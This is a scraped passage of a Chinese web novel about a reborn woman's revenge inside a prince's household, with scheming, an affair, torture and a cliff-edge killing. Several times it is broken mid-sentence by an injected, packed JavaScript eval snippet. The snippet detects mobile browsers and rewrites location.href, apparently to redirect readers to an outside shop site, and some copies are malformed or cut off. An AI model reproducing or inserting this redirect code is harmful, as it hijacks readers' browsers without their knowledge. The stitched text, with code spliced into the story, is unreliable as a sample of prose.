沈慕兮迅速敛去眼底情绪,顺势重重跌倒在地又战战兢兢重新跪好,规规矩矩地朝康氏磕头,“沈氏知错,求老王妃恕罪” 跪下之时,沈慕兮能闻到在康氏腿上散发出来混杂着膏药清香的腐臭愈发浓郁。 她眸子微闪,半弓着身子,掩唇无声落泪。 这小家子气的做派,比苏氏还不如。 尤其是知道沈氏昨天背着行囊离府彻夜不归,康氏看得火大,忍不住想要抬腿踹向她,被顾时拦下了。 “母妃,您对孩儿有什么不满,只管冲我来,不要为难她。” “你要不要拿镜子照照你这幅色迷心窍的样子?”康氏气得连抬起来指向顾时的手指都在发抖,“你个脑袋勾了芡、猪油蒙了心的东西,你可还记得,当初你要求娶苏氏的时候,是如何跟圣上说的?如今你突然又要娶平妻,你让苏府怎么看我荣郡王府,你这是欺君,你知道吗?” 说到后面,康氏几乎是怒喝出声,连声音都喊劈叉了。 “苏府从头到尾都只是把孩儿当成一个备选,孩儿为何不能以其人之道还治其人之身?” “那你也要找个有身家背景、能帮到你的人,你看看你要娶的是个什么玩意儿?” “母妃。”顾时倏地冷下脸,“慕慕是我荣郡王府的大恩人,没有慕慕的帮衬,就没有我们的今日” “你若是要娶她,就别叫我母妃。”康氏的态度坚决。 与顾时剑拔弩张之时,还不忘怒目瞪向跪在地上掩面落泪的沈慕兮,“上不得台面的东西,给你脸了是吗?看什么?还不滚下去?” 沈慕兮隐忍的泪水终究还是忍不住落下。 她委屈地瞥了顾时一眼,红着眼跑走了,也许是跑到太急,她连包袱都忘记拿。 “慕慕。” 顾时心头一空,几乎本能地想要追上去,康氏的声音从身后传来,“你要是敢踏出荣辉堂一步,以后就别叫我母妃。” 顾时停住了脚步,没有转身,“母妃,你自己扪心自问,慕慕对你如何?她宁愿不治她的脸,都要为你治好你的腿。 况且,原本她的脸不会伤成这样,这是你让人变卖了她在丹阳的产业,逼得她走投无路导致的结果,不管如何,这个人情,咱们要还。” 这几天,康氏的腿不怎么痛,让她差点就忘了自己的腿还有伤的事实。 如今被顾时这么一提醒,她才想起来,她的膏药没了。 看到地上那个像是随意裹成一团的包袱,她嘴硬道,“这是她自愿的,我又没有逼她,况且,哪有人给药只给几天?搞不好她就是想要妄想用我需要用药的事情拿捏我。” 顾时摇头不想再跟康氏争论,只默默俯身捡起了沈慕兮刚才没有带走的包袱。 包袱掂在手上沉甸甸的,还有瓷器碰撞的声音,在安静的院子里,格外响亮。 他好奇打开了包袱。 入目是十多个瓷白色的小瓶子。 “这是什么?” 康氏眼都看直了。 “这是” 她微微颤抖着手,想要从顾时手上拿过包袱,被顾时轻巧躲开了。 “母妃这是做什么?” “这是沈氏给我找来的治腿药。” 康氏脸上绽放出今日第一抹笑意,拿起其中一瓶轻嗅。 闻到熟悉的味道,她嘴角的笑意深了深,“不错,就是这个药,这里十 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“小姐。” 看到沈慕兮一身丫鬟衣裳出现,几人也没有多问其他,全部恭敬上前朝她行礼。 沈慕兮点头,“都安排妥当了吗?” “木兰山下我们已经安排了人,届时小姐跟小小姐出来,我们就可以全数撤离。” “苏康那边现在已经在集结人手,估计已经准备动手了。” “好,”沈慕兮十分满意几人的效率,“到时候杨威留在这里与裴望接应,黄江、绿萝看信号行动,成功撤离后,一同回去南渊。” “是。” 几人得了各自的安排,纷纷退下。 几乎在几人离开没多久,裴望来了。 沈慕兮甚至连大门都还没来得及关好。 “裴大人果然准时。” 第151章 若是假设成立... 她错开身子。 裴望也没客气,大摇大摆地进了门。 他双手环胸,似笑非笑地看着她憔悴的模样,“怎么把自己搞成这副模样,真用上苦肉计了?” “我用什么计,似乎与大人无关。”沈慕兮冷着脸将一个羊皮卷轴扔给裴望,正色道,“还有一部分内容,我的人在顾时的书房没有找到,估计在苏府。” 裴望看了一眼卷轴上的内容,眼底笑意愈发明显,“这个东西,若是我呈到天家御案,荣郡王府以及跟荣郡王府有私下往来的高门,只怕要一撸到底了,你真的舍得?” “舍不舍得,似乎也跟大人无关吧。” 沈慕兮一副不愿意多沟通的样子,朝门口方向做出了一个“请”的动作。 裴望“啧”了一声,抱怨道,“真绝情。” 沈慕兮不为所动。 天上团云翻涌,压得天色灰暗一片。 很快,沈慕兮就感觉到了脸颊传来丝丝凉意。 她伸手轻轻触碰脸颊。 湿的。 春雨说下就下。 沈慕兮接住了几颗还带着凉意的雨滴,思绪一下子回到了被惨遭虐待的雨夜。 空气跟雨滴都凉得让人心悸。 明明她已经在一个新的身体里,可是只要想起当初的非人凌虐,她依旧能感受到穿透魂体的痛楚。 “一年。”她的声音微微发颤。 还有三天,距离她惨死那天,刚好一年。 顾时在荣郡王府遍寻不到沈慕兮,几经责问,才从后门小厮那里得知沈慕兮已经离开荣郡王府的消息。 他心头空落落的感觉愈发浓烈,一连派出了几十人去寻人。 “若是可以,你让四个方向城门的人都帮本王盯紧,若是发现夫人离开的踪迹,及时来报。” “是。” 一切交代完毕,不知道在顾时身后等了多久的王英迅速抓紧时间上前禀报。 “王爷” 话到嘴边,他似是有点难堪,最后决定凑到顾时耳边,将自己看到的一切告知顾时。 顾时脸色一变,“陈十六呢?” 王英低头盯着自己的鞋尖,扶着腰刀的手紧紧攥着刀柄,“在屋外望风” 顾时脸都绿了,抬起步子就要往主院飞奔而去,被王英一把拉住了。 “王爷现在打草惊蛇,到时候万一冤枉了好人,到时候跟王妃生了龃龉就不好了。” 顾时怒极而笑,“陈十六都在望风了,还有假?” 王英低头没有说话,拦下顾时的手也没有放下。 这些天,顾时用王英甚至比用陈十六还要顺手,他的忠心,毋庸置疑。 顾时深呼吸了两下,确定将心头的怒火压下一大半,才缓声开口,“行了,你有什么主意,一并说出来。” 主院。 红浪翻飞。 苏柳溪几乎是报复性地与苏勇抵死缠绵。 再一轮。 苏勇从大红色的鸳鸯戏水织花锦被中钻出。 气喘吁吁。 “天爷,你个小妖精,今日竟这般放浪?” 苏柳溪柔弱无骨地靠上苏勇,纤纤玉手在他肌肉垒起得线条分明的小腹上轻轻打圈。 “既然他们都已经给我们定了罪,若是再藏着掖着,倒显得我们跟孬种似的。” 苏勇抓住了她还想要往下探的手,眼底情欲早已散去,“说吧,这般大费周章地让我进来,想要如何?” 苏柳溪换了个姿势,靠在苏勇怀中,小声开口,“我怀疑,现在府上的这个沈慕兮是假的。” “哦?”苏勇饶有兴味地挑眉,眼底还带了几分戏谑,“你在质疑我的能力?” 苏柳溪不轻不重地捶了他一下,“我是说认真的,之前我亲眼看着你跟你手下的人砍下了她的右手,剥去她的脸皮,一具残缺的尸体,如何能毫发无损出现在人前?” 听到苏柳溪的话,苏勇脸上的兴味慢慢被凝重取代,眼底闪过一抹暗芒。 “所以,你打算如何?” “不管是真的还是假的,这个被顾时叫做‘沈慕兮’的女人都得死。” 只要想起顾时这几天因为那对母女对自己的冷待,苏柳溪眼底的毒辣就无论如何都掩盖不下去。 苏勇攫起她的下颌与她对视,笑容冷淡,“怎么,真对顾时动真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287870|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感情了?” 明明他的语气极为浅淡,嘴角也在挂着笑,可苏柳溪还是没由来地感到一股惊悚。 “怎怎么可能?” 她挤出一抹僵硬的笑,努力让自己看起来如同往常一样。 苏勇盯着她看了好一会,确定没有发现其他异常才放开她。 “没有是最好的。” “那你打算怎么办?”苏柳溪挽着他的手,热切地看向他。 “我自然有我的办法,”苏勇的眼角余光瞥向帐顶,不怀好意地掀起锦被,“现在,你只管好好把我伺候舒坦就好了。” 屋顶。 顾时与王英几乎与瓦片融为一体。 在听清屋里的动静后,有好几次他都忍不住差点直接掀了屋顶去抓奸,都被王英拉住了。 “王爷,您忘了上次?” 被王英这么一提醒,顾时顿时反应过来。 在这个事情没有张扬出去之前,他的母妃,会看在苏府的份上,保下苏柳溪 尤其是苏府出的是这种罔顾人伦的事情,以苏柳溪在人前做出来的贤惠模样,说出去也没人相信 王英将顾时脸上神色变化收入眼底,等顾时的神色恢复往日平静之时,才小声开口,“属下听闻这个苏公子以前资质平庸,可自从八年前与苏小姐去了一趟柳溪村以后,回来就跟换了个人似的” 顾时抬手打断了王英的话。 “换个地方说。” 书房。 王英把自己知道一切都告诉了顾时。 “若是属下的假设成立,那么,真正的苏勇极有可能已经遇害,而现在的苏勇那张脸,很有可能就是从真正的苏勇脸上剥下来的。” 顾时脸色阴沉地开口,“如此一来,所有不合理的地方,全部变得合理。” 也就是说,与苏柳溪有苟且的人,是别的男子,堂兄妹关系,只是他们用来混淆旁人视线的遮羞布。 不等他细想,又听到王英继续补充,“还有前些天,王爷让属下去护国寺细查关于王妃去求平安符的事情,属下也多方面打听过,那天的人只听说王妃去了护国寺,但是从添香油到诵经,都只有王妃身边的丫鬟代劳” 第152章 康氏松口 “咔——” 顾时手上的狼毫笔被他生生折断了。 没有去护国寺,那她之前口中所说的那句“中途回来遇到苏勇”的鬼话,也是假的。 搞不好,所谓的去护国寺礼佛,都只是她跟奸夫幽会的幌子。 似是感觉自己已经窥到真相的一角,顾时怒火攻心,喉间生生溢出一团血气,又被他咽了回去。 “好,真是好得很。” 王英垂首站在一旁,冷眼看着顾时故作冷静的做派,双拳攥得青筋暴突。 “王英。” 一声轻唤,拳头骤松。 “属下在。” 顾时的眉眼染上了几分冷酷,“你且将这个消息转达给裴望,让他着重细查柳溪村人的户籍以及所做行当。” “是。” 沈慕兮算准时间回府。 在后巷遇到了步伐匆忙的王英。 两人身形交错的瞬间,王英迅速将一张纸条塞到沈慕兮的手上。 一炷香后。 沈慕兮回到碧水苑。 看清王英纸条的内容后,她将纸条点燃。 贺月好奇地看向沈慕兮,“姑娘,接下来还要咱们配合吗?” “不必。” 已经搭上线了,后面的事情就跟她关系不大。 红豆悄无声息翻窗而入。 “小姐,老王妃在寻您,东西已经在老王妃手上了。” “好,我现在回去。”顿了顿,她又继续道,“另外的东西,送到落霞苑了吗?” “辛婆子已经安排妥。” 沈慕兮点头。 “这两天找时间将辛婆子一家安置好,切记行事要低调。” “是。” 荣辉堂。 康氏本来想着沈慕兮嘴上说的药膏用法用量需要额外调配只是危言耸听。 不成想,当她让苏婆子将瓶中药膏按照沈慕兮最先用的方法涂在腿上的时候,她的腿部剧痛,新长出来的部分皮肉居然还有溶解的迹象。 她当场痛得满头大汗,惨叫连连。 苏婆子在一旁看得心疼,“老祖宗,实在不行,咱们找大夫吧。” “找那些庸医作甚?”康氏咬牙,“你没听到他们之前一直在说我的腿没救吗?” “可可是,您现在一直这样也不是办法啊。” 苏婆子心疼得眼眶都红了。 “沈氏在哪?”康氏散落鬓边的发丝已经被冷汗浸湿,心里早已咒骂了沈慕兮千百遍。 “要是她现在还不滚回来,那她永远都别踏入我荣郡王府的大门了。” 她的话音刚落,一声带着哭腔的女声惨叫,“老王妃,不要。” 康氏循声望去,沈慕兮正抹着眼泪向她床前飞奔。 她心中所有的不满,顿时挤压成一句,“死哪去了?” 沈慕兮趴在她另外一条没受伤的腿上,怯怯开口,“老王妃让我走,我不敢在您面前碍眼” 康氏强忍着想要一巴掌扫过去的冲动,把受伤的腿显现在沈慕兮面前,“看看我的腿。” 绸缎料子的衬裤因为太过滑腻,早已盖住了康氏腿上的破损。 然而不断沁出的黏腻脓水早已说明了她的伤势。 沈慕兮像是才发现康氏的腿伤得严重,当场倒吸了一口凉气,“怎会伤成这样?” 她借擦拭眼泪的动作,不动声色地看了苏婆子一眼,苏婆子微不可察地颔首。 沈慕兮这才掀起康氏的裤腿 “要死啊,那么用力。” 不过只是片刻,裤腿已经跟腿上的伤口粘在一起了。 只要那么一动,康氏也顾不得什么体面形象,痛得龇牙咧嘴,恨不得起脚踹飞沈慕兮。 事实上,她还是起脚了。 沈慕兮早已判断了她的打算,顺势跌坐在地。 康氏因为动作幅度太大,拉扯到了腿伤,再次惨叫出声。 沈慕兮瑟缩了一下,抬头瑟瑟地看了康氏一眼,转头礼貌地吩咐苏婆子,“有劳帮我拿点热水、绷带、剪子还有百草霜过来。” “百草霜?”康氏的声音尖锐,“你居然敢让本王妃用锅灰?” 要不是在民间生活过一些时日,她还真的差点被沈慕兮这么叫糊弄住了。 沈慕兮耐着性子解释,“老王妃,您的腿现在必须要配合百草霜,否则一旦发了脓,后面就会腐烂的。” 康氏到底也是重视自己的腿,看到沈慕兮一脸真诚,她哼哼唧唧两下,最终还是没有发作。 “最好真的是这样。” 苏婆子的东西拿过来的时候,沈慕兮已经用清水按比例调配好了膏药。 老王妃将她一勺膏药一壶水的比例记了下来。 等百草霜到了以后,她又眼睁睁看着沈慕兮将兑了膏药的水掺到百草霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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经历了今日这么一跪,虞悦希算是见识到了顾时的绝情。 她瑟缩了一下,改口道,“你找人去给娘亲递个信,就说我” 辛婆子叹了一口气,“小姐今日被罚跪的消息,也传遍了整个王府了。” 第153章 谁欺负了你? “什么?” 虞悦希一个激动,膝盖传来了尖锐的尖锐疼痛让她忍不住倒抽了一口凉气。 饶是这样,她的眼底还是闪过一抹希冀,“那娘亲可有” “并无。”辛婆子一下子猜到了她想问什么,失落地摇头。 感觉到虞悦希的情绪低落,她劝说道,“想来也是这段时间,王爷的冷落,只怕王妃的日子也不好过” “所以,她的日子不好过,难道不是她自找的?” 虞悦希没好气地反驳。 不久前苏柳溪被抓奸的事情早已传入她的耳中。 她当时就已经对她的做法十分不解。 有什么事情跟小舅舅不能再外面说,偏偏要到主院去 对啊,娘亲不顶用,她还有小舅舅。 今日之辱,她绝对要讨回来。 “去,你帮我找人给我小舅舅递个信。” 辛婆子有点迟疑,“可是舅老爷他”也自身难保。 辛婆子的话还未说完,虞悦希已经冷眼看向她,“让你去你就去,哪那么多话。” 辛婆子动了动嘴还想说些什么,可对上虞悦希森冷的眼神,到嘴边的话打了个圈,最终变成了—— “是。” 看着辛婆子离去的背影,虞悦希的嘴角勾起一抹残忍笑意。 别人不知道,她却清楚得很,只要小舅舅一出手,被他盯上的东西就没有活路。 顾筱筱,你个小贱人完了。 三天后。 沈慕兮还未来得及去给老王妃换药,绿萼先找过来了。 “小姐,苏勇对小小姐下手了。” 闻言,沈慕兮心头一紧。 下一刻,绿萼的话让她放宽了心, “不过小姐不必担心,我们的人已经混进了绑架小小姐的人里面,只要有不对劲,立刻提前计划。” 沈慕兮也没有犹豫,“好,我去做好最后的安排,切记要扫尾干净。” “是。” 一炷香后。 荣辉堂。 沈慕兮小心翼翼地给康氏换药。 因着这些天康氏的腿有了好转,她总算给了沈慕兮一点好脸色。 这边沈慕兮已经重新把伤口包扎好,跪在地上为她轻轻放下了裤腿。 “老祖宗,您的腿若是再坚持换药几天,就基本无虞了,但是这几天,必须很关键。” “行了,需要什么,就让下面的人安排就是。”康氏不以为意地摆了摆手。 “可是”沈慕兮为难地咬唇,似是下定了很大的决心,她趴跪在康氏的脚边,以头点地,“事关老祖宗的腿伤,慕兮不敢隐瞒。” 她浑身紧绷,看上去似乎在害怕些什么。 康氏本来还算好看的脸色瞬间晴转阴。 “到底是怎么回事?” 她的语气倏地变得冷沉,连带看向沈慕兮的眼神都变回了之前带着刀子似的目光。 沈慕兮才刚抬头,对上她的目光,再次跪趴在地上,结结巴巴道, “当时这个药回来的时候,毒医是为了让我重新把脸皮剥落重新长出来,所以,现在这个是皮肉剥落阶段” 康氏闻言,脸色大变,“所以,现在我腿上的皮肉还是会掉落?” “不,皮肉不会掉” 听到沈慕兮说“皮肉不会掉”的时候,康氏还心存侥幸,然而沈慕兮后面的话一出来,康氏恨不得将沈慕兮生吞活剥了。 “只是,若是稍有不慎,老祖宗的整条腿都会掉出来” 说完,沈慕兮趴跪的时候整个人缩成一团,生怕康氏起脚踹她。 “混账,谁让你个混账东西对我用这种混账药物的?” 要是可以,康氏确实巴不得踹飞沈慕兮,可是 腿会掉,她不敢乱踹。 只敢在嘴上不断咒骂沈慕兮。 沈慕兮直接被骂哭了。 “我我也是担心老祖宗,而且最开始,我真没想到,效果会按照毒医所说那样分毫不差啊。” “哭哭哭,你回来以后除了会哭,还会做什么?”康氏咬牙切齿想要伸手戳穿沈慕兮的太阳穴。 奈何沈慕兮离得远,而她的腿又 弯腰到一半,她用尽全身的所有力气,克制住了那只逐渐不听使唤的手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287872|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈慕兮还想说些什么,“可是” “我告诉你,沈氏,”康氏自认为自己这辈子的耐性都在这里了,“若是我的腿有什么问题,顾筱筱在我荣郡王府,休想过上安生日子。 本来我已经打算让你嫁给时儿当个贵妾,现在看来,已经没有必要了。” 沈慕兮一脸大受打击的模样,“老祖宗,不是说好了是平妻吗?” 平妻? 这种节骨眼,这个贱婢还想给她时儿做平妻? 偏偏这种时候,她还真不能杀了她。 康氏气得肝疼,只能一手捂住胸口一手指向外头,“你给我滚出去,今天之内,我都不想看到你。” 沈慕兮掩面痛哭,“好好好,老祖宗你别生气,我走就是了。” 临走之前,她还泪眼汪汪、依依不舍地看了一眼康氏。 康氏连个眼角余光都没有给她。 苏婆子在门外将屋内的动静听得一清二楚,看到沈慕兮当真离开,她忍不住劝康氏,“老祖宗,老奴知道您这腿是委屈了,可是有什么火不能过了这段时间再发?万一真的把人赶走了,可怎么办?” 康氏余怒未消,听到苏婆子的话,也只是老神在在地冷哼了一声,“她女儿在这,她能去哪?” 苏婆子连连点头道“老祖宗英明”。 顾时今日公务没有太多,因而在午时前后就下值回府。 穿过回廊后,远远地就在荷花池旁看到沈慕兮轻倚在汉白玉围栏上,时不时用帕子抹眼泪。 一时激动,他脚下的步伐不由自主地快了许多。 这些天被苏柳溪的事情搅和得他心绪不宁,好几天他都没有注意府上的事情,连去看沈慕兮的时间也抽不出来。 如今她就在眼前,他竟有种恍如隔世的感觉。 “慕慕。” 他的声音小心翼翼,眼神格外谨慎,生怕她一不高兴,又推开他。 然而,这一次出乎他的意料,沈慕兮不仅没跑,还整个人转过身子,脸上还有未干的泪痕。 他的心都要揪成一团了。 “发生什么事了,是谁欺负了你?” 第154章 抽身清算 “阿时。” 伴随一句久违的“阿时”以及突如其来的软玉怀香,顾时心里某根弦断倏然绷断。 他仅仅只是怔愣了一下,便十分用力地反抱回去。 “慕慕。” 他的声音,是强行按捺的激动,抱着她的力度只增不减,生怕下一刻就不见了她的踪迹。 沈慕兮一直抱着他的腰在他怀中小声啜泣,一直到抱累了,才松开手。 顾时生怕会引来她的反感,也连忙松开了抱着她的手。 看到她欲言又止地看向自己,最终还是没有了等她主动开口的耐性,“到底怎么了,发生什么事,你告诉我,我帮你解决。” 他不提这个事情还好,他一提,沈慕兮本来已经停住了的眼泪再次决堤。 “筱筱筱筱不见了。” 后面的几个字,破碎得不成调。 顾时心头猛然一跳,“这到底是怎么回事?” 沈慕兮摇头,“今日我给老祖宗换了药,好不容易得了空,就寻思着回去碧水苑寻筱筱,没想到没想到” 顾时的眉心早已拧成苦瓜纹,他心里着急,可是看到沈慕兮现在的模样,他终究还是舍不得再次刺激她,“你慢慢说,不着急” 沈慕兮仿佛被顾时的话安慰到,逐渐冷静下来,“碧水苑的人都以为筱筱一直在房间熟睡,不成想,等去找人的时候,房内空无一人,连跟着筱筱一同回来的哪个丫鬟都不见了,只在窗台位置捡到了这个。” 看到沈慕兮抖着手递到自己面前的、还带着血的令牌,顾时一眼认出了,那是苏府的东西。 他的目光微沉,思绪早已百转千回。 沈慕兮双手扯着他的宽广衣袖苦苦哀求,“阿时,筱筱是我们的女儿,若是你们真的容不下我们,我跟筱筱一起离开也可以,求你,不要对我这么残忍” “慕慕” 她的哭泣极有感染力,让顾时也忍不住红了眼眶。 他再次将她紧紧拥入怀中,接过她递过来的令牌紧紧攥在手上,“你放心,我一定会把我们的女儿找回来的。” 沈慕兮靠在顾时怀里,眼底冷光泠泠,声音还带着哭腔,语气乖顺,“好。” 顾时还想将她带回去主院试探苏柳溪,被沈慕兮拒绝了。 “老祖宗的腿这几天是关键,我要好好帮她治好腿,我我还是想嫁给你为妻,哪怕只是在旁人眼里只是妾的平妻。” 自从在丹阳回来以后,顾时已经许久没有听到沈慕兮这般直白的表述。 心中对两人有破镜重圆机会的狂喜与对顾筱筱的担忧交织,最终还是理性战胜了感性。 “你放心。” 他郑重地朝沈慕兮做下了承诺。 “我会将筱筱安然找回来的。” 等筱筱找回来之时,就是他与她重修于好之日。 沈慕兮没有再说其他,眼底的信赖神色早已说明了一切。 顾时将她鬓边碎发掖到耳后。 刚想要在沈慕兮前额印下一吻,被沈慕兮轻轻侧头躲过了。 像是后知后觉发现自己的做法不妥,她怯怯地看着顾时,“对不起,阿时,筱筱还没找到,我我” 曾几何时,顾时在她脸上看到这种神色? 一直以来,她都是张扬热烈、落落大方的,什么时候,她竟然也会变成这般小心翼翼? 似是刻意想要回避往更深处去设想,顾时只是“嗯”了一声,留下一句“一切交给我”,就离开了。 沈慕兮站在原地,目送他的背影离开至完全看不见,才冷着脸将脸上泪痕擦干,小声朝郁葱的莲叶位置开口,“全部可以动起来了。” 莲叶轻轻浮荡了几下,再也没了动静。 翌日,顾时前一天夜里连夜闯进苏府的消息传遍了京城。 康氏是天亮以后才得知的消息。 在知道顾时去大闹苏府是因为沈慕兮告诉他顾筱筱被苏府的人捉走的那一刻,她差点将沈慕兮生吞活剥。 “他疯了,竟然为了那个低贱的平民生的孩子,得罪苏府?” 苏府这些年在朝堂上虽说不是只手遮天,可也算是与各个高门有千丝万缕的关系,如今他这么一闹,起码得罪了半个朝堂的人。 “若是在这期间再有些政敌上奏弹劾,咱们荣郡王府的好日也就到头了。” 短短个把时辰,康氏的肝火已经给她的嘴里燎出了一串火泡。 刚好沈慕兮红肿着眼睛来给她换药。 她怒极打翻了沈慕兮的托盘,“都怪你。” 沈慕兮不敢反抗,只好红着眼眶沙哑开口,“筱筱是我的孩子” 就在这时,一个小丫鬟进屋。 “老祖宗,王妃那边来人,说有事要找沈姑娘。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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清算时刻,她已经要迫不及待地去将苏勇碎尸万段。 第155章 母女坠崖 傍晚时分。 顾时刚从大理寺出来,就遇到王英报信。 “王爷不好了,王妃的人上午带走了沈姑娘,老王妃现在找不到人换药,现在正在大发雷霆。” 看到王英英挺的眉毛几乎要拧成死结。 顾时心下顿时蔓延了一股不祥的预感。 “到底是怎么回事?” “具体的事情,属下还未完全清楚,只知道,老王妃的人去找王妃要人要不到,这会两个院子的下人,都在主院僵持不下” 顾时只觉得眉心突突直跳。 一个二个都不省心的。 就在这时,裴望也急匆匆来了。 “顾兄。” 因着顾筱筱顾筱筱的事情,裴望主动伸出援手。 顾时承了裴望的情,此时不管他喊自己“顾兄”还是“顾弟”,顾时也只有应和的份。 “裴大人。” 他朝裴望微微颔首。 裴望走到顾时面前,也顾不得其他下人还未退下,“我的人发现了柳溪村的贼匪有异动,细查之下,才知道他们这两天在荣郡王府劫了人,这会正在木兰山” 后面的话,裴望没有说出口,可是眼神早已说明了一切。 柳溪村与苏府有着千丝万缕的关系,慕慕在筱筱的房间捡到了苏府的腰牌 想到这里,顾时的脸色顿时惨白一片。 “去木兰山。” 几乎没有迟疑,他拔腿就要往城西的方向飞奔。 王英追上顾时,“王爷,府上” “有秦管家在,暂时不会有太大的问题。” 说着,顾时又吩咐王英回府将府上能用的侍卫跟暗卫全部调往木兰山。 此时他的思绪早已被沈慕兮母女占据。 只要一想到她们母女可能身陷危险,他的胸口就在隐隐作痛,他甚至都不敢想,万一她们母女二人出了什么意外,他会如何 木兰山的东面,是一截断崖,断崖下,是深得发黑的水潭。 悬崖上。 一个临时固定的十字架上,绑着浑身是血的男人。 男人面无表情,只用森冷的目光与眼前女人对视。 沈慕兮对上苏勇的眼神,一年前惨无人道的凌虐仿佛就在昨天,沈慕兮连呼吸都感觉到身体在泛着疼。 苏勇的嘴被严严实实塞了破布,脸上带着鞭伤,身上衣裳褴褛,多处伤口还在不断沁血。 此时他看向沈慕兮的眼神就像在看一个死人。 面对熟悉的冰冷眼神,沈慕兮不仅不害怕,嘴角反而勾起一抹冷笑,“你现在这么有恃无恐,无非就是觉得你的人会找到这里来,但是,这一次,估计你要失望看。苏府现在自身难保,你在柳溪村的匪窝也被盯上了,即使你这次大难不死,被苏府推出来做替罪羊,也不是什么难事” 苏勇的脸色微变,很快又恢复如常。 沈慕兮轻笑出声,“你知不知道你现在看起来像什么?” 没有等苏勇回答,沈慕兮又自顾自地开口道,“你如今不过只是强弩之末的丧家之犬。 你现在肯定还在抱有希望,觉得前两天你那么卖力,苏柳溪肯定很快又可以怀上你的血脉,然后你就可以英勇赴死保全她们母女二人,对吗?” 苏勇的瞳孔微缩,显然没料到沈慕兮对他们的事情了解得这么透彻。 他动了动脑袋想要吐出嘴里的破布。 沈慕兮一个眼色看向身后的蒙面人,蒙面人粗鲁扯下苏勇嘴里的破布,反手又给了苏勇的右手一刀。 苏勇闷哼一声,最后抬眸看向沈慕兮,那眼神恨不得将她生吞活剥。 “我与你无冤无仇,你为何要这般针对我?” 因为一整天滴水未进,他的声音粗哑得像是利剑刮在生锈的铁片上刺耳。 “无冤无仇?” 沈慕兮仿佛听到天大的笑话,笑得眼泪都出来了。 “既然你知道无冤无仇,那你为何却能对我下狠手?一年的时间也不长,怎么,这么快就把你做过的事情全都忘了?” 一年前 苏勇蓦然想起一年前那个雨夜,在他身下哭喊求饶最后却被她砍下右手的女人。 从来不信鬼神的他,此时势单力薄,竟真的觉得有一股凉意从他脚底一路蹿至天灵盖。 “你你到底是什么人?” 他故作镇静地质问。 沈慕兮走到他面前,没有再回答他的问题,而是抬手将一颗带着奇怪臭味的药丸塞进他的嘴里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287874|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药丸入口即化。 苏勇甚至还没反应过来是什么情况,药效就开始发作。 他的眼前场景开始与一年前虐杀沈慕兮的场景重叠,与一年前的场景不一样的,大概就是这一次沈慕兮似乎还抱着她的女儿,满眼惊恐地看着他。 那小鹿一般受惊的眼神,让他的心底开始涌上一抹扭曲的快意。 不知道哪来的力气,他挣开了绳索的束缚,抢过一把刀。 追着沈慕兮母女就是一顿劈砍。 “沈慕兮”连连求饶。 “求你,放过我跟我的女儿吧。” “现在才知道求饶?晚了。” 苏勇一脸狞 笑毕竟,在砍了沈慕兮一刀以后,炙热的鲜血溅在他的脸上,他心中的快意得到释放,体内的暴戾因子像是找到了宣泄的出口,连带使他的行动力也迅速了许多。 在沈慕兮求饶的时候,他再次趁机挥刀将她的女儿也送上了西天,“我能杀你一次,就能杀你第二次,你要怪就怪自己命不好,嫁给谁不好,偏偏嫁给顾时,挡我溪儿的道,等你跟你的小杂种死了,荣郡王府的一切,就是我跟溪儿的孩子的了。” 他越说越兴奋,最后竟将沈慕兮逼直悬崖。 沈慕兮死死抱着怀中女儿闪躲他的劈砍,对他极尽哀求,“求你,放我跟女儿一马,我保证绝对不会碍着柳溪妹妹的路,更不会让筱筱给悦悦带来任何困扰。” 苏勇冷笑,“现在才有这种觉悟?晚了。” 也许是自知在劫难逃,沈慕兮抱着女儿不再闪躲,而是绝望地看了他身后一眼,嘴唇微动,眼神哀伤。 再次挨了他一刀以后,母女二人双双坠崖。 “不!!慕慕,筱筱!!” 几乎就在同时,苏勇身后一声撕心裂肺的惨叫响起。 苏勇混沌的脑子恢复清明。 然而还没等他反应过来,他的右手传来一阵剧痛,紧接着,就是他的脖子。 